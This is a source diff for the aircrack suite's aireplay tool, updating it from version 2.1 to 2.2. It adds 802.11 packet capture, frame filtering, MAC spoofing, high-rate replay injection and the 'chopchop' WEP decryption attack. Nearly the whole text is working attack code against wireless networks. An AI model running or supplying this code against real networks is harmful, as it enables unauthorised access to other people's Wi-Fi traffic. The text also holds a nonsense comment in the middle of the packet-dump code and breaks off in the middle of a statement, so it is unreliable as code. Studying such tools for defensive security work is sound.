diff -urN aircrack-2.1.orig/aireplay.c aircrack-2.1/aireplay.c --- aircrack-2.1.orig/aireplay.c 2004-10-01 21:30:00.000000000 +0200 +++ aircrack-2.1/aireplay.c 2005-04-22 08:51:21.932065120 +0200 @@ -1,7 +1,9 @@ /* - * 802.11 WEP arp-requests replay attack + * 802.11 WEP replay & injection attacks * - * Copyright (C) 2004 Christophe Devine + * Copyright (C) 2004,2005 Christophe Devine + * + * WEP decryption attack (chopchop) developped by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -18,41 +20,105 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ +#include #include +#include #include +#include +#include #include +#include #include #include #include #include #include #include +#include +#include #include -#include "pcap.h" +#include "pcap-aireplay.h" +#include "crctable.h" + +#define NULL_MAC "\x00\x00\x00\x00\x00\x00" #ifndef ETH_P_ALL #define ETH_P_ALL 3 #endif -#define BROADCAST_ADDR "\xFF\xFF\xFF\xFF\xFF\xFF" +#ifndef ETH_P_80211_RAW +#define ETH_P_80211_RAW 25 +#endif + +#ifndef ARPHRD_IEEE80211 +#define ARPHRD_IEEE80211 801 +#endif + +#ifndef ARPHRD_IEEE80211_PRISM +#define ARPHRD_IEEE80211_PRISM 802 +#endif char usage[] = "\n" -" aireplay 2.1 - (C) 2004 Christophe Devine\n" +" aireplay 2.2 - (C) 2004,2005 Christophe Devine\n" +"\n" +" usage: aireplay [options] [interface #1]\n" "\n" -" usage: aireplay [bssid]\n" +" interface #0 is for sending packets; it is also used to\n" +" capture packets unless interface #1 is specified.\n" +"\n" +" source options:\n" +"\n" +" -i : capture packet on-the-fly (default)\n" +" -r file : extract packet from this pcap file\n" +"\n" +" filter options:\n" +"\n" +" -b bssid : MAC address, Access Point\n" +" -d dmac : MAC address, Destination\n" +" -s smac : MAC address, Source\n" +" -m len : minimum packet length, default: 40\n" +" -n len : maximum packet length, default: 512\n" +" -u type : fc, type - default: 2 = data\n" +" -v subt : fc, subtype - default: 0 = normal\n" +" -t tods : fc, To DS bit - default: any\n" +" -f fromds : fc, From DS bit - default: any\n" +" -w iswep : fc, WEP bit - default: 1\n" +" -y : assume yes & don't save packet\n" +"\n" +" replay options:\n" +"\n" +" -x nbpps : number of packets per second\n" +" -a bssid : set Access Point MAC address\n" +" -c dmac : set Destination MAC address\n" +" -h smac : set Source MAC address\n" +" -o fc0 : set frame control[0] (hex)\n" +" -p fc1 : set frame control[1] (hex)\n" +" -k : turn chopchop attack on\n" "\n"; -unsigned char buffer[65536]; - -struct __packet +struct options { - unsigned int length; - unsigned char *data; -} -arp_packets[4096]; + unsigned char *s_file; + + unsigned char f_bssid[6]; + unsigned char f_smac[6]; + unsigned char f_dmac[6]; + int f_minlen, f_maxlen; + int f_type, f_subtype; + int f_fromds, f_tods, f_iswep; + int assume_yes; + + unsigned char r_bssid[6]; + unsigned char r_smac[6]; + unsigned char r_dmac[6]; + int r_fc_0, r_fc_1; + int nbpps, do_chopchop; +}; + +char *wlanng_dev = NULL; int do_exit = 0; @@ -60,295 +126,1370 @@ { if( signum == SIGINT || signum == SIGTERM ) do_exit = 1; + + if( signum == SIGALRM ) + do_exit = 2; } -int main( int argc, char *argv[] ) +/* CRC checksum verification routine */ + +int check_crc_buf( unsigned char *buf, int len ) { - FILE *f_cap; + unsigned long crc = 0xFFFFFFFF; - char *s; - int bssid_set; - long cnt1, cnt2; - int i, n, raw_sock; - unsigned char *h80211; - unsigned char bssid[6]; + for( ; len > 0; len--, buf++ ) + crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); + + return( ~crc == *((unsigned long *) buf) ); +} + +/* MAC address parsing routine */ + +int getmac( char *s, unsigned char *mac ) +{ + int i = 0, n; + + while( sscanf( s, "%x", &n ) == 1 ) + { + if( n < 0 || n > 255 ) + return( 1 ); + + mac[i] = n; + if( ++i == 6 ) break; + + if( ! ( s = strchr( s, ':' ) ) ) + break; + + s++; + } + + return( i != 6 ); +} + +/* interface initialization routine */ + +int openraw( char *iface, int fd, int *arptype ) +{ struct ifreq ifr; + struct packet_mreq mr; struct sockaddr_ll sll; - struct pcap_file_header pfh; - struct pcap_pkthdr pkh; - time_t tm_prev; + + /* find the interface index */ - /* create the raw socket */ + memset( &ifr, 0, sizeof( ifr ) ); + strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); - if( ( raw_sock = socket( PF_PACKET, SOCK_RAW, - htons( ETH_P_ALL ) ) ) < 0 ) + if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { - perror( "socket(PF_PACKET)" ); + perror( "ioctl(SIOCGIFINDEX)" ); return( 1 ); } - /* drop privileges */ + /* bind the raw socket to the interface */ - setuid( getuid() ); + memset( &sll, 0, sizeof( sll ) ); + sll.sll_family = AF_PACKET; + sll.sll_ifindex = ifr.ifr_ifindex; + if( wlanng_dev ) + sll.sll_protocol = htons( ETH_P_80211_RAW ); + else + sll.sll_protocol = htons( ETH_P_ALL ); - /* check the arguments */ + if( bind( fd, (struct sockaddr *) &sll, + sizeof( sll ) ) < 0 ) + { + perror( "bind(ETH_P_ALL)" ); + return( 1 ); + } + + /* lookup the hardware type */ - if( argc < 3 || argc > 4 ) + if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { - usage: - printf( usage ); + perror( "ioctl(SIOCGIFHWADDR)" ); return( 1 ); } - bssid_set = 0; + if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && + ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM ) + { + fprintf( stderr, "unsupported hardware link type %d\n" + "(expected ARPHRD_IEEE80211{,PRISM})\n", + ifr.ifr_hwaddr.sa_family ); + fprintf( stderr, "make sure the interface is in Monitor mode\n" ); + return( 1 ); + } + + *arptype = ifr.ifr_hwaddr.sa_family; + + /* enable promiscuous mode */ - if( argc == 4 ) + memset( &mr, 0, sizeof( mr ) ); + mr.mr_ifindex = sll.sll_ifindex; + mr.mr_type = PACKET_MR_PROMISC; + + if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, + &mr, sizeof( mr ) ) < 0 ) { - i = 0; - s = optarg; + perror( "setsockopt(PACKET_MR_PROMISC)" ); + return( 1 ); + } - while( sscanf( s, "%x", &n ) == 1 ) - { - if( n < 0 || n > 255 ) - goto usage; + return( 0 ); +} + +/* wlanng-aware frame sending routing */ + +unsigned char tmpbuf[4096]; - bssid[i] = n; +int send_frame( int fd, void *buf, size_t count ) +{ + if( wlanng_dev ) + { + if( ( ((unsigned char *) buf)[0] & 3 ) != 3 ) + { + memcpy( tmpbuf, buf, 24 ); + memset( tmpbuf + 24, 0, 22 ); - if( ++i == 6 ) break; + tmpbuf[30] = ( count - 24 ) & 0xFF; + tmpbuf[31] = ( count - 24 ) >> 8; - if( ! ( s = strchr( s, ':' ) ) ) - break; + memcpy( tmpbuf + 46, buf + 24, count - 24 ); - s++; + count += 22; } + else + { + memcpy( tmpbuf, buf, 30 ); + memset( tmpbuf + 30, 0, 16 ); + + tmpbuf[30] = ( count - 30 ) & 0xFF; + tmpbuf[31] = ( count - 30 ) >> 8; - if( i != 6 ) goto usage; + memcpy( tmpbuf + 46, buf + 30, count - 30 ); + + count += 16; + } - bssid_set = 1; + buf = tmpbuf; } - if( argc - optind != 2 ) - goto usage; + return( write( fd, buf, count ) < 0 ); +} + +int main( int argc, char *argv[] ) +{ + time_t tt; + int i, j, n, z; + int fd_rtc, caplen; + int fd_in, arptype_in; + int fd_out, arptype_out; + int i_bssid, i_smac, i_dmac; + int data_start, data_end; + int guess, is_deauth_mode; + + unsigned long ticks[4]; + unsigned long crc_mask; + unsigned long nb_pkt_read; + unsigned long nb_pkt_sent; + + char tmp_str[256]; + + unsigned char buffer[4096]; + unsigned char *h80211; + unsigned char *savebuf; + unsigned char *chopped; + + FILE *f_cap_in = NULL; + FILE *f_cap_out = NULL; + + struct tm *lt; + struct timeval tv; + struct options opt; + struct pcap_file_header pfh; + struct pcap_pkthdr pkh; - if( strcmp( argv[optind], "wlan0ap" ) && - strcmp( argv[optind], "wlan1ap" ) && - strcmp( argv[optind], "wlan2ap" ) ) + fd_set rfds; + + /* create i/o raw sockets and open /dev/rtc */ + + if( ( fd_in = socket( PF_PACKET, SOCK_RAW, + htons( ETH_P_ALL ) ) ) < 0 ) { - fprintf( stderr, "This program only works with HostAP's " - "wlan#ap interface.\n" ); + perror( "socket(PF_PACKET)" ); return( 1 ); } - /* open the input file and check the pcap header */ - - if( ( f_cap = fopen( argv[optind + 1], "rb" ) ) == NULL ) + if( ( fd_out = socket( PF_PACKET, SOCK_RAW, + htons( ETH_P_ALL ) ) ) < 0 ) { - perror( "open" ); + perror( "socket(PF_PACKET)" ); return( 1 ); } - n = sizeof( struct pcap_file_header ); - - if( fread( &pfh, 1, n, f_cap ) != (size_t) n ) + if( ( fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { - perror( "read(pcap header)" ); + perror( "open(/dev/rtc)" ); return( 1 ); } - if( pfh.magic != TCPDUMP_MAGIC ) + if( ioctl( fd_rtc, RTC_IRQP_SET, 4096 ) < 0 ) { - fprintf( stderr, "wrong magic from pcap file header\n" - "(got 0x%08X, expected 0x%08X)\n", - pfh.magic, TCPDUMP_MAGIC ); + perror( "ioctl(RTC_IRQP_SET)" ); + printf( "Make sure you have enhanced rtc support in your kernel\n" + "(module rtc) and that CONFIG_HPET_RTC_IRQ is disabled.\n" ); return( 1 ); } - if( pfh.linktype != LINKTYPE_IEEE802_11 && - pfh.linktype != LINKTYPE_PRISM_HEADER ) + if( ioctl( fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { - fprintf( stderr, "unsupported pcap header linktype %d\n", - pfh.linktype ); + perror( "ioctl(RTC_PIE_ON)" ); return( 1 ); } - /* find the interface index */ + /* drop privileges */ - memset( &ifr, 0, sizeof( ifr ) ); - strncpy( ifr.ifr_name, argv[optind], sizeof( ifr.ifr_name ) - 1 ); + setuid( getuid() ); + + /* check the arguments */ + + memset( &opt, 0, sizeof( opt ) ); + + opt.f_minlen = 40; + opt.f_maxlen = 512; + opt.f_type = 2; + opt.f_subtype = 0; + opt.f_tods = -1; + opt.f_fromds = -1; + opt.f_iswep = 1; + opt.r_fc_0 = -1; + opt.r_fc_1 = -1; - if( ioctl( raw_sock, SIOCGIFINDEX, &ifr ) < 0 ) + while( 1 ) { - perror( "ioctl(SIOCGIFINDEX)" ); - return( 1 ); + int option = getopt( argc, argv, + "ir:b:d:s:m:n:u:v:t:f:w:yx:a:c:h:o:p:k" ); + + if( option < 0 ) break; + + switch( option ) + { + case 'i' : break; + + case 'r' : if( opt.s_file != NULL ) + { + printf( "Packet source file already specified.\n" ); + return( 1 ); + } + opt.s_file = optarg; + break; + + case 'b' : if( getmac( optarg, opt.f_bssid ) != 0 ) + { + printf( "Invalid AP MAC address.\n" ); + return( 1 ); + } + break; + + case 'd' : if( getmac( optarg, opt.f_dmac ) != 0 ) + { + printf( "Invalid destination MAC address.\n" ); + return( 1 ); + } + break; + + case 's' : if( getmac( optarg, opt.f_smac ) != 0 ) + { + printf( "Invalid source MAC address.\n" ); + return( 1 ); + } + break; + + case 'm' : sscanf( optarg, "%d", &opt.f_minlen ); + if( opt.f_minlen < 0 ) + { + printf( "Invalid minimum length filter.\n" ); + return( 1 ); + } + break; + + case 'n' : sscanf( optarg, "%d", &opt.f_maxlen ); + if( opt.f_maxlen < 0 ) + { + printf( "Invalid maximum length filter.\n" ); + return( 1 ); + } + break; + + case 'u' : sscanf( optarg, "%d", &opt.f_type ); + if( opt.f_type < 0 || opt.f_type > 3 ) + { + printf( "Invalid type filter.\n" ); + return( 1 ); + } + break; + + case 'v' : sscanf( optarg, "%d", &opt.f_subtype ); + if( opt.f_subtype < 0 || opt.f_subtype > 15 ) + { + printf( "Invalid subtype filter.\n" ); + return( 1 ); + } + break; + + case 't' : sscanf( optarg, "%d", &opt.f_tods ); + if( opt.f_tods != 0 && opt.f_tods != 1 ) + { + printf( "Invalid tods filter.\n" ); + return( 1 ); + } + break; + + case 'f' : sscanf( optarg, "%d", &opt.f_fromds ); + if( opt.f_fromds != 0 && opt.f_fromds != 1 ) + { + printf( "Invalid fromds filter.\n" ); + return( 1 ); + } + break; + + case 'w' : sscanf( optarg, "%d", &opt.f_iswep ); + if( opt.f_iswep != 0 && opt.f_iswep != 1 ) + { + printf( "Invalid wep filter.\n" ); + return( 1 ); + } + break; + + case 'y' : opt.assume_yes = 1; break; + + case 'x' : sscanf( optarg, "%d", &opt.nbpps ); + if( opt.nbpps < 1 || opt.nbpps > 4096 ) + { + printf( "Invalid number of packets per second.\n" ); + return( 1 ); + } + break; + + case 'a' : if( getmac( optarg, opt.r_bssid ) != 0 ) + { + printf( "Invalid AP MAC address.\n" ); + return( 1 ); + } + break; + + case 'c' : if( getmac( optarg, opt.r_dmac ) != 0 ) + { + printf( "Invalid destination MAC address.\n" ); + return( 1 ); + } + break; + + case 'h' : if( getmac( optarg, opt.r_smac ) != 0 ) + { + printf( "Invalid source MAC address.\n" ); + return( 1 ); + } + break; + + case 'o' : sscanf( optarg, "%x", &opt.r_fc_0 ); + if( opt.r_fc_0 < 0 || opt.r_fc_0 > 255 ) + { + printf( "Invalid frame control byte #0.\n" ); + return( 1 ); + } + break; + + case 'p' : sscanf( optarg, "%x", &opt.r_fc_1 ); + if( opt.r_fc_1 < 0 || opt.r_fc_1 > 255 ) + { + printf( "Invalid frame control byte #1.\n" ); + return( 1 ); + } + break; + + case 'k' : opt.do_chopchop = 1; break; + + default : goto usage; break; + } } - /* bind the raw socket to the interface */ + if( argc - optind < 1 || argc - optind > 2 ) + { + usage: + printf( usage ); + return( 1 ); + } - memset( &sll, 0, sizeof( sll ) ); - sll.sll_family = AF_PACKET; - sll.sll_ifindex = ifr.ifr_ifindex; - sll.sll_protocol = htons( ETH_P_ALL ); + if( opt.f_minlen > opt.f_maxlen ) + { + printf( "Invalid length filter (%d > %d).\n", + opt.f_minlen, opt.f_maxlen ); + return( 1 ); + } - if( bind( raw_sock, (struct sockaddr *) &sll, - sizeof( sll ) ) < 0 ) + if( opt.nbpps == 0 ) { - perror( "bind(ETH_P_ALL)" ); + opt.nbpps = 256; + printf( "Option -x not specified, assuming %d.\n", + opt.nbpps ); + } + + if( memcmp( argv[optind], "wlan", 4 ) == 0 ) + wlanng_dev = argv[optind]; + + if( openraw( argv[optind], fd_out, &arptype_out ) != 0 ) return( 1 ); + + /* open the packet source */ + + if( argc - optind == 2 ) + { + if( openraw( argv[argc - 1], fd_in, &arptype_in ) != 0 ) + return( 1 ); + } + else + { + fd_in = fd_out; + arptype_in = arptype_out; + } + + if( opt.s_file != NULL ) + { + if( ! ( f_cap_in = fopen( opt.s_file, "rb" ) ) ) + { + perror( "open" ); + return( 1 ); + } + + n = sizeof( struct pcap_file_header ); + + if( fread( &pfh, 1, n, f_cap_in ) != (size_t) n ) + { + perror( "fread(pcap file header)" ); + return( 1 ); + } + + if( pfh.magic != TCPDUMP_MAGIC && + pfh.magic != TCPDUMP_CIGAM ) + { + fprintf( stderr, "wrong magic from pcap file header\n" ); + return( 1 ); + } + + if( pfh.magic == TCPDUMP_CIGAM ) + SWAP32(pfh.linktype); + + if( pfh.linktype != LINKTYPE_IEEE802_11 && + pfh.linktype != LINKTYPE_PRISM_HEADER ) + { + fprintf( stderr, "'%s' is not a 802.11 capture file.\n", + opt.s_file ); + return( 1 ); + } } - signal( SIGINT, sighandler ); + /* look for replay-able packets */ - tm_prev = time( NULL ); + signal( SIGINT, sighandler ); + signal( SIGTERM, sighandler ); - cnt1 = cnt2 = 0; + nb_pkt_read = 0; - /* search for potentially usable packets */ + tt = time( NULL ); while( 1 ) { - if( do_exit ) break; + if( do_exit ) + { + printf( "exiting.\n" ); + return( 1 ); + } - if( time( NULL ) - tm_prev >= 1 ) + if( time( NULL ) - tt >= 1 ) { - tm_prev = time( NULL ); - printf( "\r\33[1KRead %ld packets, got %ld " - "potential ARP packets\r", cnt1, cnt2 ); + tt = time( NULL ); + printf( "\rSeen %ld packets...\33[K", nb_pkt_read ); fflush( stdout ); } - /* read one packet */ + caplen = 0; - n = sizeof( pkh ); + if( opt.s_file == NULL ) + { + /* capture one packet */ - if( fread( &pkh, 1, n, f_cap ) != (size_t) n ) - break; + FD_ZERO( &rfds ); + FD_SET( fd_in, &rfds ); - if( pkh.len != pkh.caplen ) - continue; + tv.tv_sec = 1; + tv.tv_usec = 0; - n = pkh.caplen; + if( select( fd_in + 1, &rfds, NULL, NULL, NULL ) < 0 ) + { + if( errno == EINTR ) continue; + perror( "select" ); + return( 1 ); + } - if( fread( buffer, 1, n, f_cap ) != (size_t) n ) - break; + if( ! FD_ISSET( fd_in, &rfds ) ) + continue; - cnt1++; + /* one packet available for reading */ - h80211 = buffer; + gettimeofday( &tv, NULL ); + + memset( buffer, 0, 2048 ); - if( pfh.linktype == LINKTYPE_PRISM_HEADER ) + if( ( caplen = read( fd_in, buffer, + sizeof( buffer ) ) ) < 0 ) + { + perror( "read" ); + return( 1 ); + } + + /* if device is an atheros, remove the FCS */ + + if( memcmp( argv[argc - 1], "ath", 3 ) == 0 ) + caplen -= 4; + } + else { - /* remove the prism header if necessary */ + /* read one packet */ - n = *(int *)( h80211 + 4 ); + n = sizeof( pkh ); - if( n < 8 || n >= (int) pkh.len ) + if( fread( &pkh, 1, n, f_cap_in ) != (size_t) n ) + { + printf( "\rSeen %ld packets...EOF.\n", + nb_pkt_read ); + return( 1 ); + } + + if( pfh.magic == TCPDUMP_CIGAM ) + SWAP32( pkh.caplen ); + + n = caplen = pkh.caplen; + + if( fread( buffer, 1, n, f_cap_in ) != (size_t) n ) + { + printf( "\rSeen %ld packets...EOF.\n", + nb_pkt_read ); + return( 1 ); + } + } + + nb_pkt_read++; + + /* skip the prism header if present */ + + h80211 = buffer; + + if( ( opt.s_file == NULL && arptype_in == ARPHRD_IEEE80211_PRISM ) || + ( opt.s_file != NULL && pfh.linktype == LINKTYPE_PRISM_HEADER ) ) + { + n = *(int *)( buffer + 4 ); + + if( n < 8 || n >= (int) caplen ) continue; - h80211 += n; pkh.len -= n; + h80211 += n; + caplen -= n; } - /* check if it's an encrypted data packet */ + /* check length */ + + if( caplen < opt.f_minlen || + caplen > opt.f_maxlen ) continue; - if( pkh.len < 40 ) continue; + /* check the frame control bytes */ - if( ( h80211[0] & 0x0C ) != 0x08 ) continue; - if( ( h80211[1] & 0x40 ) != 0x40 ) continue; + if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && + opt.f_type >= 0 ) continue; - /* also check the BSSID and KeyID */ + if( ( h80211[0] & 0xF0 ) != ( opt.f_subtype << 4 ) && + opt.f_subtype >= 0 ) continue; + + if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && + opt.f_tods >= 0 ) continue; + + if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && + opt.f_fromds >= 0 ) continue; + + if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && + opt.f_iswep >= 0 ) continue; + + /* check the extended IV (TKIP) flag */ + + z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; + + if( opt.f_type == 2 && opt.f_iswep == 1 && + ( h80211[z + 3] & 0x20 ) != 0 ) continue; + + /* MAC address checking */ switch( h80211[1] & 3 ) { - case 0: i = 16; break; /* DA, SA, (BSSID) */ - case 1: i = 4; break; /* (BSSID), SA, DA */ - case 2: i = 10; break; /* DA, (BSSID), SA */ - default: i = 4; break; /* (RA), TA, DA, SA */ + case 0: i_bssid = 16; i_smac = 10; i_dmac = 4; break; + case 1: i_bssid = 4; i_smac = 10; i_dmac = 16; break; + case 2: i_bssid = 10; i_smac = 16; i_dmac = 4; break; + default: i_bssid = 4; i_dmac = 16; i_smac = 24; break; } - if( bssid_set == 0 ) + if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) + if( memcmp( h80211 + i_bssid, opt.f_bssid, 6 ) != 0 ) + continue; + + if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) + if( memcmp( h80211 + i_smac, opt.f_smac, 6 ) != 0 ) + continue; + + if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) + if( memcmp( h80211 + i_dmac, opt.f_dmac, 6 ) != 0 ) + continue; + + /* this one looks good */ + + printf( "\n\n Size: %d, FromDS: %d, ToDS: %d\n", + caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); + printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", + h80211[i_bssid ], h80211[i_bssid + 1], + h80211[i_bssid + 2], h80211[i_bssid + 3], + h80211[i_bssid + 4], h80211[i_bssid + 5] ); + printf( " Src. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", + h80211[i_smac ], h80211[i_smac + 1], + h80211[i_smac + 2], h80211[i_smac + 3], + h80211[i_smac + 4], h80211[i_smac + 5] ); + printf( " Dst. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", + h80211[i_dmac ], h80211[i_dmac + 1], + h80211[i_dmac + 2], h80211[i_dmac + 3], + h80211[i_dmac + 4], h80211[i_dmac + 5] ); + + /* Flurble gronk bloopit, bnip Frundletrune! */ + + for( i = 0; i < caplen; i++ ) { - bssid_set = 1; + if( ( i & 15 ) == 0 ) + { + if( i == 256 ) + { + printf( "\n --- CUT ---" ); + break; + } + + printf( "\n 0x%04x: ", i ); + } - memcpy( bssid, h80211 + i, 6 ); + printf( "%02x", h80211[i] ); + + if( ( i & 1 ) != 0 ) + printf( " " ); + + if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) + { + for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) + { + printf( " " ); + if( ( j & 1 ) != 0 ) + printf( " " ); + } + + printf( " " ); + + for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) + printf( "%c", ( h80211[i - 15 + j] < 32 || + h80211[i - 15 + j] > 126 ) + ? '.' : h80211[i - 15 + j] ); + } - printf( "\33[2KChoosing first encrypted BSSID" - " = %02X:%02X:%02X:%02X:%02X:%02X\n", - bssid[0], bssid[1], bssid[2], - bssid[3], bssid[4], bssid[5] ); + if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) + { + printf( " " ); + + for( j = 0; j < 16; j++ ) + printf( "%c", ( h80211[i - 15 + j] < 32 || + h80211[i - 15 + j] > 127 ) + ? '.' : h80211[i - 15 + j] ); + } } - else - if( memcmp( bssid, h80211 + i, 6 ) ) - continue; - /* finally check the packet length & broadcast address */ + printf( "\n\n" ); - switch( h80211[1] & 3 ) + if( opt.assume_yes ) + break; + + printf( "Use this packet ? " ); + + fflush( stdout ); + signal( SIGINT, SIG_DFL ); + scanf( "%s", tmp_str ); + signal( SIGINT, sighandler ); + printf( "\n" ); + + if( tmp_str[0] == 'y' || tmp_str[0] == 'Y' ) + break; + } + + /* save the selected packet */ + + pfh.magic = TCPDUMP_MAGIC; + pfh.version_major = PCAP_VERSION_MAJOR; + pfh.version_minor = PCAP_VERSION_MINOR; + pfh.thiszone = 0; + pfh.sigfigs = 0; + pfh.snaplen = 65535; + pfh.linktype = LINKTYPE_IEEE802_11; + + pkh.tv_sec = tv.tv_sec; + pkh.tv_usec = tv.tv_usec; + pkh.caplen = caplen; + pkh.len = caplen; + + lt = localtime( &tv.tv_sec ); + + if( ! opt.assume_yes ) + { + sprintf( tmp_str, "replay_src-%02d%02d%02d-%02d%02d%02d.cap", + lt->tm_year - 100, 1 + lt->tm_mon, lt->tm_mday, + lt->tm_hour, lt->tm_min, lt->tm_sec ); + + printf( "Saving chosen packet in %s\n\n", tmp_str ); + + n = sizeof( struct pcap_file_header ); + + if( ( f_cap_out = fopen( tmp_str, "wb+" ) ) == NULL ) { - case 0: i = 4; break; /* (DA), SA, BSSID */ - case 1: i = 16; break; /* BSSID, SA, (DA) */ - case 2: i = 4; break; /* (DA), BSSID, SA */ - default: i = 16; break; /* RA, TA, (DA), SA */ + perror( "fopen(pcap output,wb+)" ); + return( 1 ); } - if( pkh.len + ( h80211[27] & 0x3F ) != 0x44 || - memcmp( h80211 + i, BROADCAST_ADDR, 6 ) ) - continue; + if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(pcap file header)\n" ); + return( 1 ); + } - /* ok, this packet may be replayed */ + n = sizeof( pkh ); - arp_packets[cnt2].length = pkh.len; + if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n ) + { + perror( "fwrite(packet header)" ); + return( 1 ); + } - arp_packets[cnt2].data = (unsigned char *) - malloc( pkh.len ); + n = pkh.caplen; - if( ! arp_packets[cnt2].data ) + if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n ) { - perror( "malloc" ); + perror( "fwrite(packet data)" ); return( 1 ); } + } - memcpy( arp_packets[cnt2].data, buffer, pkh.len ); + if( opt.do_chopchop ) goto do_chopchop; - if( cnt2++ >= (int) sizeof( arp_packets ) ) - break; + /* rewrite MAC addresses & frame control */ + + if( opt.r_fc_0 != -1 ) h80211[0] = opt.r_fc_0; + if( opt.r_fc_1 != -1 ) h80211[1] = opt.r_fc_1; + + z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; + + switch( h80211[1] & 3 ) + { + case 0: i_bssid = 16; i_smac = 10; i_dmac = 4; break; + case 1: i_bssid = 4; i_smac = 10; i_dmac = 16; break; + case 2: i_bssid = 10; i_smac = 16; i_dmac = 4; break; + default: i_bssid = 4; i_dmac = 16; i_smac = 24; break; + } + + if( memcmp( opt.r_bssid, NULL_MAC, 6 ) != 0 ) + memcpy( h80211 + i_bssid, opt.r_bssid, 6 ); + + if( memcmp( opt.r_smac, NULL_MAC, 6 ) != 0 ) + memcpy( h80211 + i_smac, opt.r_smac, 6 ); + + if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 ) + memcpy( h80211 + i_dmac, opt.r_dmac, 6 ); + + /* standard operation mode: loop resending the packet */ + + memset( ticks, 0, sizeof( ticks ) ); + + nb_pkt_sent = 0; + + while( 1 ) + { + if( do_exit ) + { + printf( "exiting.\n\n" ); + return( 0 ); + } + + /* wait for the next timer interrupt */ + + if( read( fd_rtc, &n, sizeof( n ) ) < 0 ) + { + perror( "\nread(/dev/rtc)" ); + return( 1 ); + } + + ticks[0]++; + ticks[1]++; + ticks[2]++; + + if( ticks[1] == 400 ) + { + ticks[1] = 0; + printf( "\rSent %ld packets...\33[K", nb_pkt_sent ); + fflush( stdout ); + } + + if( ( ticks[2] * opt.nbpps ) / 4096 < 1 ) + continue; + + ticks[2] = 0; + + if( send_frame( fd_out, h80211, caplen ) != 0 ) + { + if( errno != EAGAIN ) + { + perror( "write" ); + return( 1 ); + } + } + else + nb_pkt_sent++; } - printf( "\r\33[1KRead %ld packets, got %ld " - "potential ARP requests.\n", cnt1, cnt2 ); + return( 0 ); + + /* chopchop operation mode: truncate and decrypt the packet */ + /* we assume the plaintext starts with AA AA 03 00 00 00 */ + +do_chopchop: + + /* backup the packet */ - if( cnt2 == 0 ) + if( ( savebuf = (unsigned char *) malloc( pkh.caplen ) ) == NULL ) + { + perror( "malloc" ); return( 1 ); + } - /* now loop sending the ARP packets we've got */ + memcpy( savebuf, h80211, pkh.caplen ); - cnt1 = 0; + /* setup the chopping buffer */ - while( cnt2 ) + n = pkh.caplen - z + 24; + + if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { - for( i = 0; i < cnt2; i++ ) + perror( "malloc" ); + return( 1 ); + } + + memset( chopped, 0, n ); + + data_start = z + 4; + data_end = pkh.caplen; + + chopped[0] = 0x08; /* normal data frame */ + chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ + + if( opt.r_fc_0 != -1 ) chopped[0] = opt.r_fc_0; + if( opt.r_fc_1 != -1 ) chopped[1] = opt.r_fc_1; + + memcpy( chopped + 4, h80211 + i_bssid, 6 ); /* copy the BSSID */ + memcpy( chopped + 24, h80211 + z, 4 ); /* copy the WEP IV */ + + /* setup the xor mask to hide the original data */ + + crc_mask = 0; + + for( i = data_start; i < data_end - 4; i++ ) + { + switch( i - data_start ) { - if( do_exit ) cnt2 = 0; + case 0: chopped[i] = 0xAA ^ 0xE0; break; + case 1: chopped[i] = 0xAA ^ 0xE0; break; + case 2: chopped[i] = 0x03 ^ 0x03; break; + default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; + } + + crc_mask = crc_tbl[crc_mask & 0xFF] + ^ ( crc_mask >> 8 ) + ^ ( chopped[i] << 24 ); + } + + for( i = 0; i < 4; i++ ) + crc_mask = crc_tbl[crc_mask & 0xFF] + ^ ( crc_mask >> 8 ); + + chopped[data_end - 4] = crc_mask; crc_mask >>= 8; + chopped[data_end - 3] = crc_mask; crc_mask >>= 8; + chopped[data_end - 2] = crc_mask; crc_mask >>= 8; + chopped[data_end - 1] = crc_mask; crc_mask >>= 8; + + for( i = data_start; i < data_end; i++ ) + chopped[i] ^= savebuf[i]; + + data_start += 6; /* skip the SNAP header */ + + /* if the replay source mac is unspecified, forge one */ + + if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) + { + is_deauth_mode = 1; + + opt.r_smac[0] = 0x00; + opt.r_smac[1] = rand() & 0x3E; + opt.r_smac[2] = rand() & 0xFF; + opt.r_smac[3] = rand() & 0xFF; + opt.r_smac[4] = rand() & 0xFF; + + memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); + } + else + { + is_deauth_mode = 0; - if( time( NULL ) - tm_prev >= 1 ) + opt.r_dmac[0] = 0xFF; + opt.r_dmac[1] = rand() & 0xFE; + opt.r_dmac[2] = 